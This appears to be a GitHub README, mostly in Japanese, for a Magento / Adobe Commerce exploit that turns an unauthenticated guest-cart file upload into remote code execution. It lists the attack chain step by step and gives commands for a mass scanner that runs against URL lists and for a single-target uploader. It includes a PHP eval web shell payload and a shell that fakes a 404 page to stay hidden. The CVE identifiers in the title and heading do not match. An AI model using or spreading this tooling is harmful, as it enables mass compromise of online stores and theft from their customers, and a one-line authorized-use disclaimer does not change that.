amkkk221/cve-2025-43990-magento-rceMagento APSB25-94 認証なしファイルアップロードからRCE (CVE-2026-XXXX) - Eval Shell + Probe Scanner
REST APIのゲストカート custom_options ファイルアップロードを介して、Magento / Adobe Commerceにおける認証なしファイルアップロードを悪用します。
1. GraphQL → leak product SKU
2. REST API → create guest cart
3. REST API → upload PNG polyshell via custom_options file_info
4. HTTP GET → access .php at predictable path
5. PHP exec → RCE
magento_godzilla.py — バッチスキャナー2フェーズアップロード: プローブファイル（WAFセーフ）+ evalシェル（404偽装）。
pip install requests
python magento_godzilla.py -f urls.txt -t 20 -o results.txt
出力: , ,
RCE_CONFIRMEDSHELL_KILLEDPROBE_ONLYmagento_upload.py — 単一ターゲットアップロードpython magento_upload.py -u https://target.com -f godzilla.php
python magento_upload.py -u https://target.com -c '<?php eval($_POST[1]);?>'
python magento_upload.py -u https://target.com -f shell.php --raw
/pub/media/custom_options/quote/{c1}/{c2}/{filename}
/media/custom_options/quote/{c1}/{c2}/{filename}
GETリクエストは偽の404（HTTP 200 + "Not Found" ボディ）を返します。POSTリクエストにパスワードパラメータを含めるとコードが実行されます。
許可されたセキュリティテストのみに使用してください。